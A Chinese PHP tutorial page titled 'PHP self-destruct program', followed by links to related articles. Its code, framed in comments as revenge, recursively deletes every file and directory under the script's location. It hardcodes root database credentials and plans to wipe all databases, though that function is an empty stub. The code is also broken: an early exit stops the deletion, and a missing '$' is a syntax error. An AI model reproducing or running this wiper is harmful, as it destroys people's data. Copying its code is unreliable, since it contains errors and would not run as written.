PHP自毁程序(慎用)


Posted in PHP onJuly 09, 2015

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

<?php
// +----------------------------------------------------------------------
// | Kill!!
// | 程序将清除本目录所有文件、目录
// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)
// +----------------------------------------------------------------------
// | Version: $Id$
// +---------------------------------------------------------------------- 
//----------数据库配置区域-----------------
//复仇的力量是很可怕的,所以无需指定数据库,全删!
define('DB_USER', 'root');
define('DB_PWD', 'root');
define('DB_HOST', 'localhost');
define('DB_PORT', '3216');
define('DB_DAMAGE', true); //为false时,不碰数据库
run();
/**
 * 主体思想必须光辉伟大!
 *
 * @return void
 **/
function run()
{
 //删除文件
 deletedir();
 //删除数据库
 deleteDB();
}
/**
 * 呵呵呵,删除当前目录所有文件(递归)
 *
 * @return void
 **/
function deletedir($dir = ''){
 if ($dir == '') {
  $dir = realpath('.');
 }
 echo $dir;
 exit();
  if(!handle=@opendir($dir)){
  //检测要打开目录是否存在
  die("没有该目录");
  }
  while(false !==($file=readdir($handle))){
    if($file!=="."&&$file!==".."){
    //排除当前目录与父级目录
    $file=$dir .DIRECTORY_SEPARATOR. $file;
    if(is_dir($file)){
     deletedir($file);
    }else{
     if(@unlink($file)){
      echo "文件<b>$file</b>删除成功。<br>";
     }else{
      echo "文件<b>$file</b>删除失败!<br>";
     }
    }
    }
    if(@rmdir($dir)){
    echo "目录<b>$dir</b>删除成功了。<br>\n";
    }else{
    echo "目录<b>$dir</b>删除失败!<br>\n";
    }
   }
/**
 * 呵呵呵,删除数据库
 *
 * @return void
 **/
function deleteDB()
{
 if(DB_DAMAGE === true){
  //start
 }
}

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
基于php常用函数总结(数组,字符串,时间,文件操作)
Jun 27 PHP
PHP swfupload图片上传的实例代码
Sep 30 PHP
Linux下安装PHP MSSQL扩展教程
Oct 24 PHP
php格式化日期实例分析
Nov 12 PHP
php实现的树形结构数据存取类实例
Nov 29 PHP
PHP获取文件夹内文件数的方法
Mar 12 PHP
php查询mysql数据库并将结果保存到数组的方法
Mar 18 PHP
codeigniter发送邮件并打印调试信息的方法
Mar 21 PHP
PHP如何通过传引用的思想实现无限分类(代码简单)
Oct 13 PHP
PHP经典面试题之设计模式(经常遇到)
Oct 15 PHP
Thinkphp 中 distinct 的用法解析
Dec 14 PHP
PHP大文件切割上传功能实例分析
Jul 01 PHP
PHP模板解析类实例
Jul 09 #PHP
PHP多文件上传实例
Jul 09 #PHP
php判断linux下程序问题实例
Jul 09 #PHP
php实现html标签闭合检测与修复方法
Jul 09 #PHP
php可扩展的验证类实例(可对邮件、手机号、URL等验证)
Jul 09 #PHP
php类常量用法实例分析
Jul 09 #PHP
php求一个网段开始与结束IP地址的方法
Jul 09 #PHP
You might like
让PHP支持页面回退的两种方法[转]
2007/02/14 PHP
浅谈php扩展imagick
2014/06/02 PHP
codeigniter中view通过循环显示数组数据的方法
2015/03/20 PHP
关于PHP中协程和阻塞的一些理解与思考
2017/08/11 PHP
javascript innerText和innerHtml应用
2010/01/28 Javascript
jquery 简单的进度条实现代码
2010/03/11 Javascript
查看图片(前进后退)功能实现js代码
2013/04/24 Javascript
推荐10 款 SVG 动画的 JavaScript 库
2015/03/24 Javascript
JavaScript变量的作用域全解析
2015/08/14 Javascript
jQuery左右滚动支持图片放大缩略图图片轮播代码分享
2015/08/26 Javascript
jQuery实现的给图片点赞+1动画效果(附在线演示及demo源码下载)
2015/12/31 Javascript
Bootstrap编写导航栏和登陆框
2016/05/30 Javascript
简单理解Vue条件渲染
2016/12/03 Javascript
Vue实现路由跳转和嵌套
2017/06/20 Javascript
Javascript ES6中对象类型Sets的介绍与使用详解
2017/07/17 Javascript
微信小程序获取手机号授权用户登录功能
2017/11/09 Javascript
vue2手机APP项目添加开屏广告或者闪屏广告
2017/11/28 Javascript
解决JSON.stringify()自动将中文转译成unicode的问题
2018/01/05 Javascript
如何封装了一个vue移动端下拉加载下一页数据的组件
2019/01/06 Javascript
JavaScript实现的弹出遮罩层特效经典示例【基于jQuery】
2019/07/10 jQuery
javascript中正则表达式语法详解
2020/08/07 Javascript
[43:43]完美世界DOTA2联赛PWL S2 LBZS vs Forest 第三场 11.29
2020/12/02 DOTA
Python编写Windows Service服务程序
2018/01/04 Python
Python实现字符串匹配的KMP算法
2019/04/04 Python
django中使用Celery 布式任务队列过程详解
2019/07/29 Python
CSS3图片旋转特效(360/60/-360度)
2013/10/10 HTML / CSS
CSS3 Flexbox中flex-shrink属性的用法示例介绍
2013/12/30 HTML / CSS
HTML5 背景的显示区域实现
2020/07/09 HTML / CSS
卡骆驰新加坡官网:Crocs新加坡
2018/06/12 全球购物
几个Linux面试题笔试题
2016/08/01 面试题
大学本科毕业生的自我鉴定范文
2013/11/19 职场文书
《小猫刮胡子》教学反思
2014/02/21 职场文书
承诺书样本
2014/08/30 职场文书
解除劳动合同证明书模板
2014/11/20 职场文书
银行客户经理岗位职责
2015/04/09 职场文书
SQL Server数据库查询出现阻塞之性能调优
2022/04/10 SQL Server